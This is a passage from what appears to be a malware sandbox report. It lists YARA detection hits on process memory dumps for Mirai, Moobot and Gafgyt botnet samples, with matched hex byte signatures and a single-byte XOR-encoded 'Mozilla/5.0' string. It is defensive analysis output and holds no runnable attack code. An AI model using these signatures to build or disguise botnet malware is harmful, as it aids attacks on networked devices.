46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6404.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6284.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6781.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6781.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6781.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6781.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6781.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6781.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7034.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7206.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7206.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7206.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7206.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7206.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7206.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6856.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6856.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6856.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6856.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6856.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6856.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6531.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6770.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6295.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6295.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6295.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7130.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7266.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7266.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7266.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7266.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7116.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
